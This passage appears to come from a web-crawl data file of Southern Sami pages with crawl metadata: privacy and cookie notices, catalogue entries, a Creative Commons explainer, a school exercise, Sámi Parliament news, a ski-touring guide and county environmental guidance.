Dïhte reaktavåarome lea luhpie. Persovnebïevnesh sliejhtielåvva gåessie prenumerasjovne nåhka.\nMan guhkiem spåårebe dejtie dov persovnebïevnesidie\nKommisjovne lea akte byjjesfaamoe jïh daaletje laaken mietie dle aalkoetsiehkie dïhte byjjesfaamoe edtja dejtie sïejhme gïehtelimmide spååredh. Persovnebïevnesh mah ij leah sïejhme gïehtelimmie spååresåvva ajve dan guhkiem goh daerpies, jïh dan mænngan sliejhtieluvvieh.\nGie maahta dejtie dov persovnebïevnesidie vuejnedh?\nKommisjovne lea staaten byjjesfaamoe. Bïevnesh mah diekie seedtesuvvieh leah sïejhme gïehtelimmieh jïh maehtieh almetjigujmie juekiestovvedh jis gïeh daej mietie gihtjieh, daate byjjesprinsihpen mietie. Daah persovneles soptsesh leah sekretess, guktie ibie luhpiem utnieh daejtie bïevnesidie giejnie kommisjovnen bæjngolen juekedh. Gåessie kommisjovne barkojne galhkeme jïh gaajhke materijaale våarhkosne vöörhkelamme, dle ajve luhpie daejtie bïevnesidie dotkeme- jallh statistihkebarkose vedtedh. Nuepie aaj dagkerh bïevnesh juekedh gusnie ij naan identiteetebïevnesh vg. nomme.\nDov reaktah\nKommisjovnen dïedte dejtie dov persovnebïevnesidie gïetedalledh daaletje laaken mietie. Jis datne krïevh jallh jis kommisjovne jïjtje vuepteste maam båajhtode dle kommisjovnen barkoe dejtie persovnebïevnesidie staeriestidh jallh lissiehtidh jis daah leah gukt akt båajhtode jallh maam akt fååtesieh.\nSeamma magkerh laaken mietie dïhte gïetedalleme dle reaktam åtnah dejtie dov persovnebïevnesidie sliejhtedh. Datne maahtah krïevedh kommisjovne edtja dejtie dov persovnebïevnesidie sliejhtedh jis ij leah daerpies barkose. Jis lea daerpies daejtie persovnebïevnesidie annje utnedh guktie kommisjovne maahta barkojne galhkedh, dle ij kommisjovne nöödth bïevnesidie sliejhtedh. Jis lea sïejhme gïetedalleme dle ij kommisjovnen nuepie dejtie bïevnesidie sliejhtedh. Datne maahtah dam persovnebïevnesegïetedallemem Integritetsskyddsmyndighetese klååkedh.\nRegistertjaalegem krïevedh\nDov leah reaktah daejredh magkerh persovnebïevnesh kommisjovne gïetedalla. Tjaelieh mijjese (prieviem jallh e-påastem), nommine, persovnenummerinie, påastetjaalesijjiem, telefovnenummerinie jïh e-påaste adressem (mejnie mijjine gaskesadth). Daate registertjaalege dan dov åålmhtjaelemesæjjan seedtesåvva.\nLaejpiej (cookies) bïjre\nWebbesæjroe cookies nuhtjie. Gaajhkesh dovnesh mah dan websæjrose tjaengieh gusnie cookies tjuerieh laaken mietie bïevnedovvedh websæjrosne cookies, mïsse pruvhkieh jïh aaj guktie maahtah dejtie namhtah veeljedh.\nCookies lea smaave teektsefijlh mah dov ektievoetesne, vg. datovre jallh mobijlesne spååresåvva. Daennie websæjrosne ajve daerpies cookies nuhtjedh guktie maehtede websæjroem nuhtjedh. Websæjroe lea webbdirregisisnie WordPress:sne stealladovveme. Ibie naan persovnebïevnesh jallh IP- tjaelemesijjiem spåårh. Spåårebe ajve dam bïevnesem mejnie kommersijelle ulmie jïh ibie mijjen parterigujmie gænnah juekieh.\nJis ih sïjhth cookies dennie dov websæjrosne dåhkasjehtedh, dle maahtah dov weblohkijem installeeredidh guktie dihte dallegh cookies:idie nyöjhkoeh jallh bïevnedidh fïerhten aejkien websæjroe krievie cookies spååredh. Weblohkije tjirrh maahta aaj båarasåbpoe cookies sliejhtedh. Vuartesjh websæjroen viehkiesæjrosne jis sïjhth vielie bïevnesh utnedh. Datne maahtah seamma gåessie cookies hardiskeste sliejhtedh.\nJis ih cookies dåhkesjh, maahtah læjhkan naan gille funksjovnh nuhtjedh, menh ij seamma jeenjh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sanningskommissionensamer.se\/sma\/soptsesh-dam-dov-vaajesem\/persovnebievnesh-jih-cookies\/","date":"2024-04-21T18:15:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817790.98\/warc\/CC-MAIN-20240421163736-20240421193736-00405.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":635,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Sámi Radio Vaadtasovvemejaepie 1997 Faage Eatnemefaage Siebriedahkefaage Båatsoe jïh design Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN Vi132 Tïjje 00:57:00 Formaate DVD Reakta-aajhtere NRK Sámi Radio Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Filme Aarhte jïh daajroe Byjrese Eatnemefaage Siebriedahke Meedije Politihke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/filbma_laksedod-laksekonflikt","date":"2024-04-19T22:43:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817455.17\/warc\/CC-MAIN-20240419203449-20240419233449-00615.warc.gz","language":"sma","language_score":0.9994867444,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9994867444038391}","num_words":61,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dastegh Fylhkenålma ij lutniestimmiem vedtieh, dle reakta maahta rïekteles sjæjsjalidh datne edtjh læjhkan vïhnesjidh. Reakta maahta aaj sjæjsjalidh datne ih edtjh jïjtjemdh buerkiestidh, jalhts Fylhkenålma datnem sjeavohtsvoetedïedteste lutniestamme.\nIj leah daerpies lutniestimmine Fylhkenålmeste dastegh almetje mij sjeavohtsvoetedïedtem kreava, jååhkesje bïevnesh maehtieh luajhtasovvedh. Vaallah daerpies lutniestimmine gænnah gosse fylhkenmoenehtse jallh dåapmestovle aamhtesh maanavaarjelimmielaaken mietie gïetede.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.statsforvalteren.no\/sma\/agder\/Almetjh-jih-siebriedahke\/Lutniestimmie-sjeavohtsvoetediedteste\/","date":"2024-04-25T02:12:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296820065.92\/warc\/CC-MAIN-20240425000826-20240425030826-00331.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":54,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"CC-Luhpiehtimmie\nCC lea Creative Commons. Creative Commons akte sjïere siebrie, tseegkesovveme 2001, mij barka låhkoem lissiehtidh dejstie jïjtjedorjeme barkojste mejtie gaajhkesh luhpies maehtieh jeatjabigujmie juekedh, jïh vijriebasse bigkedh. Dej åejviedarjome lea ovmessie såarhts luhpiehtimmieh darjodh mejtie gaaltijealmetjh maehtieh sov vierhkine nuhtjedh. Gosse CC-luhpiehtimmiem sov vierhkese beaja, dellie gaaltijealmetje sleajhta naaken dejstie Åndsverk-laaken reaktijste, jïh dannasinie jeatjebh nuepiem åadtjoeh vierhkem nåhtadidh ovmessie tsiehkine.\nLuhpiehtimmie dutnjien nuepiem vadta:\n- juekedh- kopijeredh, deallahtidh jïh vierhkem bårredh\n- vierhkem sjïehtesjidh\nDaej tsiehkiej mietie:\n- Nommem vuesiehtidh - Datne edtjh nommem vuesiehtidh naemhtie guktie tjaelije jallh dïhte mij luhpiehtimmiem vadta tjaala (bene ij naemhtie guktie vååjnoe dah jååhkesjamme datne luhpiem åtnah vierhkem nåhtadidh).","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/artihkal_cc-luhpiehtimmie","date":"2024-04-21T11:51:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817765.59\/warc\/CC-MAIN-20240421101951-20240421131951-00361.warc.gz","language":"sma","language_score":0.9999073744,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999907374382019}","num_words":103,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Baajh guvviem jieledh!\nUssjedh akte måaladamme guvvie meehti dan jïjnjh almetjh gåaskodh. Altan tjïelte dongki jïh maeksieji ihke Anders Sunna jïh Linda \"Zina\" Aslaksen edtjigan graffitijem måaladidh vïedtjesne aktene noere-skuvlesne. Daate måaladamme guvvie lea gaajh stoerre, 14 meeterh jollehke jïh 18 meeterh gamte.\nDaate tjuara sån akte dejstie stööremes saemien måaladamme guvvijste årrodh. Jïh daelie gaajhkesh dovnesh daam måaladamme guvviem digkiedieh. Men gaajhkesh hov daejrieh Anders Sunna lea åehpies dan åvteste digkiedimmiem sjugnede sov tjeahpojne. Guktie gosse Altan tjïelte satnem birri måaladidh dellie sån aaj tjoeri daejredh maam darjoeji.\nJeenjesh eah daam måaladamme guvviem lyjhkh, jïh sijhtieh guvvie edtja vïedtjeste vaaltasovvedh jallh jeatjahtovvedh. Mubpieh billieh daate måaladamme guvvie edtja saemide tsevtsedh!!! Men saatnan!!!! Maam mijjen bïjre vienhtieh????? Baajh guvviem årrodh. Ajve akte guvvie.\nAnna Nilsen\n1. laavenjasse\nLohkh lohkije-teekstem «Baajh guvviem jieledh!» maam Anna Nilsen lea tjaaleme jïh vaestedh gyhtjelasside.\n- Man bïjre lohkije-teekste?\n- Mij Anna Nilsenen vuajnoe daan aamhtesen bïjre?\n- Dïhte tihtelem veeljeme mij hijvenlaakan sjeahta? Man åvteste? Man åvteste ij?\n- Mah baakoeh tjaelijie nuhtjie mah vuesiehtieh dïhte digkede?\n- Gïese tjaala?\n- Tjaelije buektehte ulmie-dåehkiem jaehkiehtidh? Man åvteste? Man åvteste ij?\n2. laavenjasse\nVaestedh Anna Nilsenen lohkije-teekstem.\nVeeljh aktem daejstie råållijste:\ngraffiti-tjiehpiedæjja\npensjovniste 70 jaepien båeries\ntjirkije aktede nöörjen politihkeles krirreste\ntjeahpoeskuvle-lohkehtæjja, 25 jaepien båeries","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:2bd24a78-b09c-4249-b9a2-a98e6364bfd9\/resource:08d778a4-a017-49b1-8f46-4d1ec530b232","date":"2024-04-25T00:39:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296820065.92\/warc\/CC-MAIN-20240425000826-20240425030826-00579.warc.gz","language":"sma","language_score":0.9999933243,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999933242797852}","num_words":198,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien ulmine åtna eatneme- jïh vierhtievåarome saemien dajvine reeresuvvieh dejnie aajkojne mijjen båetiji boelvi jieledevåaromem gorredidh jïh dej lea nuepie saemien kultuvrem evtiedidh. Reereme edtja viehkine årrodh saemien kultuvrem, jielemegïehtelimmiem jïh seabradahkejieledem nænnoestidh. Vierhtiedajvh jïh eatnemegellievoete leah vihkeles bielieh dehtie materijelle kultuvrevåaroemistie saemien kultuvrese. Dïhte våaromem beaja saemien jieliemidie, årroemasse, kultuvrese jïh seabradahkeevtiedæmman. Hijven reereme dajvijste, eatnamistie jïh kultuvreaerpeste lea dan åvteste vihkele edtja saemien kultuvrem vaarjelidh jïh evtiedidh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sametinget.no\/areaale-klijma-jih-byjrese\/","date":"2024-04-22T16:32:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818312.80\/warc\/CC-MAIN-20240422144517-20240422174517-00827.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":69,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.232,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaskesadtedh\nSaemien gïele gyhtjelassi bïjre maahta Saemiedigkie vaestiedidh mij diedtem åtna dah saemien gïelevaarjelimme barkose.\nIsof barkoe nationelle unnebelåhkoegïelese\nIsof diedtem åtna gïelevaarjelimmiebarkose dah nationelle unnebelåhkoegïelide, såevmie, jiddisch, meänkieli jih romen gïele. Saemiedigkie diedtem åtna daan barkose saemien gïelide External link..\nLohkh vielie Isofen barkoen bijre nationelle unnebelåhkoe gïelh (svaalhtese tjiehpedajvebielese dah nationelle unnebelåhkoe gïelide)","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.isof.se\/sidor-pa-nationella-minoritetssprak\/samegiella\/aarjelsaemien\/gaskesadtedh","date":"2024-04-23T08:24:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818468.34\/warc\/CC-MAIN-20240423064231-20240423094231-00824.warc.gz","language":"sma","language_score":0.9999166727,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.999916672706604}","num_words":55,"character_repetition_ratio":0.152,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n2018\nGiele\nISBN\n978-82-93402-27-5\nFormaate\nSïejhme gærja\nReakta-aajhtere\nAnnukka Aikio, Samuli Aikio, Mika Launis\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n24\nAamhtesh\nNïejte guhte gullie-tjååtselinie sjïdti, saemien åålmeh-vaajese maanide.\n\"Gullie-tjååtsele\" båeries saemien åålmeh-vaajese. Daate soptsese buerien jïh vestiesvoeten bïjre, tjoevken, sjuevnjeden, rïektes jïh faelskies almetji bïjre. Maanagærjan stoerre guvvieh. Vaajesen deahpadimmie guektien nyjsenæjjese veadtaldahkesne, Njaevies-eatnan jïh Hatsves-eatnan gïeh buerien jïh vestiesvoeten maadtoe. Soptsesen jïjtjehke dalvese lea Njaevies-ietnien nïejte, numhtie dam vaajese jeenjemes sov bïjre.\nGærja gååvnese noerhte-, julev-, enaaresaemien-, jïh daaroengïelesne, dovne badth digitaalegærjine Nasjonalbiblioteeken nehtesæjrosne. Maahtah tjoejegærjam goltelidh jïh gærjese lea åarjelsaemien-daaroen baakoelæstoe dorjeldh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_gullie-tjaatsele","date":"2024-04-19T21:33:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817455.17\/warc\/CC-MAIN-20240419203449-20240419233449-00063.warc.gz","language":"sma","language_score":0.9999551773,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999551773071289}","num_words":94,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nDaate barkoegærja lea noereskuvlen 8. klaassese jïh jåarhkeskuvlen\n1. klaassese. Gærjesne guvvieh mah gelkieh meatan tjaalegi sisvegem jïh goerkesem\nlutnjedh. Lohkemegærja jïh lohkehtæjjabïhkedimmie gååvnese. Lissine dovne tjoejefijlh gusnie gærjeste veeljeme lohkemeteeksth. (www.kurs.skolum.no)\nBetaling og personvern\nBetalingsinformasjonen din blir behandlet sikkert. Vi lagrer ikke kredittkortinformasjon og har heller ikke tilgang til kredittkortinformasjonen din.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.solumbokvennen.no\/products\/luste-saemiestidh-barkoegaerja-aarjelsaemien-mupbiengieline-4-daltesasse","date":"2024-04-17T17:20:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817158.8\/warc\/CC-MAIN-20240417142102-20240417172102-00828.warc.gz","language":"sma","language_score":0.9956415892,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9956415891647339}","num_words":51,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis sïjhth tjoejkedh Skarvan jïh Roltdalen åålmegemiehtjesne jïh dan byjreskisnie dle jïjnjh nuepieh.\nDen Norske Turistforening åtna Bealjehkh ryøhkoe Storsjøen jïh Staaren luvhtie luvlene, jïh Selbu jïh Skierden gåajkoe jillene, jïh Meråkeren jïh Storlien noerhtene jïh Røørosen jïh Bienjedaelien gåajkoe åarjene. Daate sæjhta jiehtedh Skarvan jïh Roltdalen åålmegemiehtjie lea dïejvesen Bealjehki nuelesne. Nord-Trøndelag Turistforening, Trondhjem Turistforening jïh Svenska Turistförening medtie golmeluhkie hæhtjoeh jïh sijjieh juhtieminie, mah leah Bealjehki laajroenedtese ektiedamme. Ovrehte seamma jïjnjh hæhtjoeh nøørjen jïh sveerjen bielesne.\nTjoejkeminie, Skarvan åvtelisnie. Guvvie: Ingebrigt Garberg\nSkarvan jïh Roltdalen åålmegemiehtjesne jïh Bealjehkinie 370 km ihkuve tsïeglesjamme daelvielaategh. Bealjehki Sveerjen bielesne lea 450 km ihkuve tsïeglesjamme laategh, juktie tjåanghkan 820 km ihkuve tsïeglesjamme laategh. Daate nov gujht dïhte støøremes tjåenghkies laajroenedte transnasjovnale daelvielaategigujmie abpe veartenisnie. Dannasinie daennie dajvesne hijven sjeahta tjoejkedh daelvege.\nSkarvan jïh Roltdalen åålmegemiehtjesne maahta vaedtsedh :\nRamsjø-hæhtjoste– Schulz-hæhtjose: 15 km\nGræsli-hæhtjoste – Schulz-hæhtjose: 20 km\nBjørneggeste – Schulz-hæhtjoste: 20 km\nMannseterbakkeste – Schulz-hæhtjose: 21 km\nSynneråsen (Bleka Selbu) – Schulz-hæhtjose: 27 km\nJis vielie bïevnesh sïjhth dej ovmessie laajroej bïjre, vuartesjh Trondhjem Turistforening'en gåetiesæjroem, tt.no.\nSchultz-hæhtjoe lea aktene tjaebpies sijjesne eevre sïeteregaertenen Stormoen bijjiebielesne, jïh debpede maahta Roltdalen jïh Lopmesvaerien vøøste vuejnedh, jïh daan jaepien gaahpode njoktjen 26.b. raejeste, voerhtjen 5.b. raajan. Diekie lea hijven hieljen mïnnedh.\nJis sïjhth daejredh gåabph laategh dorjeme Selbu'sne, Meråkerisnie jïh Tydalesne, maahta tsagkesidh skisporet.no. Daesnie aaj tjåådtje gosse mïnngemes aejkien laategidie bueriedi.\nEdtjh bæjjese naan tjahken nille dle vihkeles voenges daajroem åadtjodh dan vaerien bïjre gaåbph ussjedamme, jïh aaj daajroeh lopmen jïh værsjoe-vaahran bïjre. Team Xitement faalehte tuvrh daejtie vaeride vuesiehtæjjine, Fonnfjellet (110 moh.) jïh Mannfjellet (1043). Jis vaajteles, dah aaj maehtieh vuesiehtæjjine årrodh gosse edtja mïnnedh tjoejkedh.\nBæjjese Gravøy-tjahken gåajkoe. Guvvie: Christine Svarva Nielsen","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/Turist\/UtendorsAktiviteter\/Ski.aspx","date":"2013-05-19T02:45:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383160\/warc\/CC-MAIN-20130516092623-00041-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999443293,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999443292617798}","num_words":266,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eatnemegeehteme\nLïeneståvroe barka eatnemegeehteminie eatnemen vierhtieh gorredidh jïh vååjnesasse biejedh, jïh mijjieh aaj bïevnesh vedtebe dej vierhtie bïjre dovne guesside jïh årrojidie.\nJis datne sïjhth vierhtegs kultuvreeatnemem geehtedh mij lïenen histovrijen bïjre soptsestidh dellie maahtah datne dåarjoem åadtjodh lïeneståvroste barkose. Dåarjoeh dehtie prosjektijstie stuvrieh mah mijjieh libie prioritereme, jïh barkoe maahta dovne kultuvre-laehpemh jïh sjædtoe- jïh juvrejielididie dæjpa. Vihkeles bielie barkoste lea faktam jïh jeatjah bïevnesh kultuvre-eatnemen bïjre gaavnedh. Mijjieh aaj dåarjoem vedtebe ovmessie EU-prosjektide mah kultuvreeatnemem dijpieh.\nLïeneståvroe aaj dåarjoeh vadta siebride, sïelth jïh aktegs almetjidie mah sijhtieh voenges eatnemegeehtemeprosjektide (LONA) juhtedh. Jis datne sïjhth dåarjoem LONA-prosjektasse datne edtjh dam dov tjïeltese bïevnedh mij dan mænngan dov ohtsemem lïeneståvrose vedtedh. Dåarjoe lea bijjemes bieliem gaptjedh ellies åasah prosjekteste.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.lansstyrelsen.se\/vasterbotten\/SMA\/samhallsplanering-och-kulturmiljo\/landskapsvard\/Pages\/default.aspx","date":"2014-04-20T22:24:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609539230.18\/warc\/CC-MAIN-20140416005219-00113-ip-10-147-4-33.ec2.internal.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":119,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieSaemien fealadassem julevsaemien dajvesne dåarjohte\nSaemiedigkieraerie 228 stoerretjuetie kråvnah dåårje prosjektese saemien fealadasse julevsaemien dajvesne.\n-\nSaernieJolle veanhtadimmieh saemien gïelemoenehtsasse\nSaemiedigkiepresidente Aili Keskitalo dam aadtjen nammoehtamme saemien gïelemoenehtsem gaavnesje bearjadahken 17.10.2014 gosse moenehtse sov voestes tjåanghkoem åtna Oslosne. Presidente aavode moenehtsen lïhtsegh gaavnesjidh jïh myöte sov le...\n-\nSaernieMatija govvii buoremus kulturmuitogova\nMatija Tatomirovic eret Donjevuonas, Gáŋgaviika gielddas fidnii vuosttášvuoittu mii lei 7.500 ruvnno dán geasi govvengilvvus man fáddá lei kulturmuittut Finnmárkkus.\n-\nSaernie Saemiedigkien 25-jaepien heevehtimmie\nSaemiedigkie sov 25-jaepienheevehtimmiem mïerhkesje rïhkeden 9.b. aktine heevehtimmieseminaarine Saemiedigkesne Karasjohkesne. Mïerhkesjimmien sjïekenisnie aaj doh gærjah Saemiedigkie 25 jaepieh jïh Kåanste Saemiedigkesne bæjhkoehtamme sjidtieh.\n-\nSaernieLohpádusrihkkun ráđđehusa bealis\nSámediggi ii leat jagi 2004 rájes vásihan ná geahnohis stáhtabušeahta. Sámediggeráđđi Ann-Mari Thomassen čujuha ahte hui uhccán sámi áŋgiruššamat vuhttojit. – Lea njulgestaga lohpádusrihkkun ráđđehusa bealis.\n-\nSaernieHåjnarostoe staatebudsjedteste\nGaskevåhkoen, rïhkeden 8.b. reerenasse sov raeriestimmiem staatebudsjedtese 2015 böökti. Ållesth dåarjoeji 426,5 millijovnh kråvnah Saemiedægkan jïh 890 millijovnh saemien åssjelidie. Presidente Aili Keskitalo vihteste daate akte tjïelke giehpiedimmiedåarjojne saemien siebriedahkese.\n-\nSaernie56 millijovnh saemien råajvarimmide suehpeden raejeste\nSaemiedigkieraerie lea tjåanghkan 55 992 900,- kråvnah dåarjojne dåårjeme healsoen, jielemen, gïelen, kultuvremojhtesevaarjelimmien, kultuvren jïh daajroen sisnjeli boelhken 13.05 – 19.09 daan jaepien. Ovrehte 25 000 000,- kråvnah leah daajroesuarkan vadteme, daan nuelesne dåarjoe saemien maanagïertide, saemien gïelelïerehtæmman jïh evtiedæmman orre learoevierhtijste.\nSeminaare jïh konferaanse\nMøte\nAejkiemierieMïnnh biejjielåhkose\nGærjagåetieSaemiedigkien gærjagåetie lea akte bielie Saemiedigkien reeremistie. Gærjagåetie dam stööremes&nb...\nGærjagåetie","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.saemiedigkie.no\/","date":"2014-10-25T18:57:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1414119649133.8\/warc\/CC-MAIN-20141024030049-00000-ip-10-16-133-185.ec2.internal.warc.gz","language":"sma","language_score":0.9980273247,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9980273246765137}","num_words":233,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Darjomh mah byjresem dijpieh\nGuvvie: Oskar Norrgrann\nMuvhth darjomh mah byjresem dijpieh tjuerieh luhpiem lïeneståvroste åadtjodh jallh lïeneståvrose bievnieh. Mijjieh goerehtibie dovletje boelvi dearjoehtimmieh eatnemisnie jïh tjaetsine jïh aaj barkebe dejnie dearjoehtamme dajvine.\nByjresefeelege darjomh\nLïeneståvroe pryöve jïh vååksje byjresefeerleg darjomidie miljöbalken jïh förordningen om miljöfarlig verksamhet och hälsoskydd (SFS 1998:899) mietie.\nVusiehtimmieh byjresefeerlege darjomh:\n- olkemesdïetedimmietseegkeldahkh\n- gjuterierh\n- paehperebruke\n- bïegkefaamoevekre, baahkeverke jïh jeajtah energijetseegkeldahkh\n- sååkemeverke\n- sorhpetseegkeldahkh\n- avloppsreningsverke\n- grus- jïh bïerjetäkterh\n- gruveh\nLïeneståvroen lea byjresepryövemedelegasjovne mij ohtsemh pryövoe luhpien bïjre byjresefeerlege darjomidie miljöbalken mietie. Byjresepryövemedelegasjovnen lea jïjtjeraerehke mieriedimmiefunksjovne jïh dïhte lea luhpiepryövmomem lïeneståvrosne lea juakeme dehtie vaaksjome dïedteste man mijjen aaj lea miljöbalken mietie. Fïerhtene tjïeltesne aaj gååvnese tjïelten byjresereereme mij voenges vaaksjomem dorje byjresefeerleg darjomijstie miljöbalken mietie. Mijjieh raerieh jïh dåarjoem vedtebe dejtie tjïelti byjresereeremidie jïh dåeriedibie jïh vuarjasjibie dej barkoem mïeresne mijjien barkoem gïehtjedimmiebuerkiestimmine.\nDajvh mah dearjoehtamme\nDah gååvnesieh dan jïjnjh dajvh laantesne mah leah dearjoehtamme, jïh jïjnjh daejstie dan dearjoehtamme byjresen jïh almetji healsoeh maehtieh skaarehtidh. Jienemes leah dovletje industrijh mah leah feerlege iebnh laehpeme eatnemisnie jïh tjaetsesne. Lïeneståvroe dejtie dajvine inventeribie jih aaj barkoem dejnie jeenjemes dearjoehtamme dajvigujmie iktedidh.\nTjaetsiedarjome\nTjaetsiedarjomem gohtje darjomh jïh barkoeh gïengeles tjaetsiem jeatjahdehtedh jallh tjaetsien sijjiem jeatjahdahta, eatnemen tjaetsiem vaenede, våarometjaetsiem vuelede jallh våarometjaetsiem jeanede. Sïejhme datne tjoerh luhpiem ohtsedidh jallh bievnedh dagkerh darjomidie jallh barkojde lïeneståvrose. Vuesiehtimmien gaavhtan lea faamoeverken- jïh regleremedammh, ovmessie bigkemh tjaetsesne guktie pruvvieh jïh gïrsh, muddreme jïh jis tjaetsiem vaalta vuesiehtimmien gaavhtan jovkemetjaestieulmide jallh jeatjah ulmide.\nMijjieh vaaksjomem tjaetsiedarjomidie lïenesne 